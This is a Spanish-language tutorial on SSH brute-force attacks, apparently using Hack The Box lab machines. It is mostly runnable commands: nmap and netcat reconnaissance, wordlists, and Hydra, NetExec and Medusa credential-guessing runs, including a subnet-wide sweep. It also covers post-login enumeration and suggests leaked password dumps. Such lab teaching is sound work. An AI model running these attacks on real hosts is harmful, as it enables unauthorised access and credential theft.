¿Qué es un Ataque de Fuerza Bruta SSH?
Definición: Un ataque de fuerza bruta SSH es una técnica de penetración que consiste en intentar repetidamente diferentes combinaciones de nombres de usuario y contraseñas hasta encontrar credenciales válidas para el servicio SSH (Secure Shell). Este método explota contraseñas débiles y configuraciones inseguras para obtener acceso remoto no autorizado al sistema.
Requisitos para que sea exitoso:
- Puerto SSH abierto y accesible (generalmente puerto 22)
- Uso de contraseñas débiles o por defecto
- Ausencia de rate limiting o protección anti-brute force
- Lista de usuarios válidos (enumeración previa o usernames comunes)
Impacto: Acceso completo al sistema como usuario legítimo, ejecución remota de comandos, escalación de privilegios y movimiento lateral en la red.
Casos Prácticos: HTB Servenom y Writer
- Target: HTB Servenom (10.10.10.184)
- Puerto abierto: SSH 22/TCP
- Herramientas: Hydra, listas de usuarios/passwords personalizadas
- Resultado esperado: Credenciales válidas para acceso SSH
Metodología de Explotación:
Fase 1: Reconocimiento del Servicio SSH
nmap -p 22 -sV -sC 10.10.10.184
# Output esperado:
# 22/tcp open ssh OpenSSH 7.6p1
# | ssh-hostkey:
# | 2048 aa:xx:xx... (RSA)
# | 256 bb:yy:yy... (ECDSA)
# Banner grabbing adicional
nc 10.10.10.184 22
Fase 2: Recopilación de Usuarios Potenciales
# Usuarios obtenidos de enumeración web
cat > users.txt <<'EOF'
admin
administrator
root
user
guest
test
kyle
servenom
www-data
developer
support
EOF
# Contraseñas comunes y específicas del target
cat > passwords.txt <<'EOF'
password
123456
admin
root
servenom
password123
qwerty
letmein
welcome
EOF
Fase 3: Ataque con Hydra
# Ataque con listas múltiples
hydra -L users.txt -P passwords.txt ssh://10.10.10.184 -t 4 -V
# Parámetros explicados:
# -L users.txt: Lista de usuarios
# -P passwords.txt: Lista de contraseñas
# -t 4: 4 threads paralelos (no sobrecargar)
# -V: Verbose output
# ssh://target: Servicio y objetivo
# Salida exitosa esperada:
# [22][ssh] host: 10.10.10.184 login: kyle password: password123
En este ejemplo, Hydra encontró credenciales válidas: kyle:password123 después de probar las combinaciones sistemáticamente.
- Target: HTB Writer (10.10.11.101)
- Usuario conocido: kyle (obtenido de enumeración web)
- Estrategia: Usuario fijo + diccionario masivo
- Diccionario: rockyou.txt (14M+ passwords)
Ataque Dirigido con Rockyou
# Localizar rockyou.txt
locate rockyou.txt
# /usr/share/wordlists/rockyou.txt
# Descomprimir si está comprimido
gunzip /usr/share/wordlists/rockyou.txt.gz
# Ataque dirigido
hydra -l kyle -P /usr/share/wordlists/rockyou.txt ssh://10.10.11.101 -t 4 -V -f
# Parámetros adicionales:
# -l kyle: Usuario específico (fijo)
# -f: Detener al encontrar primera credencial válida
# -P rockyou.txt: ~14 millones de contraseñas
# Monitorear progreso
hydra -l kyle -P /usr/share/wordlists/rockyou.txt ssh://10.10.11.101 -t 4 -V -f -s 22
Validación de Credenciales
# Conectar con credenciales encontradas
ssh kyle@10.10.11.101
# Verificar acceso y permisos
whoami
id
pwd
sudo -l
# Enumeración post-acceso
ls -la /home/kyle/
cat /home/kyle/user.txt
El ataque con rockyou.txt puede tardar horas dependiendo de la posición de la contraseña en el diccionario. Considerar usar versiones optimizadas o filtradas para targets específicos.
Herramientas Alternativas y Técnicas Avanzadas
NetExec para entornos corporativos
# Ataque con NetExec (ex-CrackMapExec)
netexec ssh 10.10.11.247 -u users.txt -p passwords.txt --verbose
# Con credenciales específicas
netexec ssh 10.10.11.247 -u admin -p password123
# Verificar múltiples targets
netexec ssh 10.10.11.0/24 -u admin -p passwords.txt --threads 5
Medusa como alternativa a Hydra
# Medusa syntax
medusa -h 10.10.10.184 -U users.txt -P passwords.txt -M ssh -t 4
# Con usuario específico
medusa -h 10.10.11.101 -u kyle -P rockyou.txt -M ssh -t 4 -f
Optimización de diccionarios
- Filtrado por longitud: Eliminar passwords muy cortas/largas según política
- Mangling rules: Aplicar variaciones (mayúsculas, números, años)
- Target-specific wordlists: Crear diccionarios basados en la organización
- Leaked passwords: Usar dumps de credenciales específicos del target
Consideraciones Éticas y Legales
Advertencia Legal: Este contenido es exclusivamente educativo. Los ataques de fuerza bruta son ilegales cuando se realizan sin autorización explícita. Úsalos solo en sistemas propios, laboratorios controlados o durante auditorías de seguridad autorizadas por contrato escrito.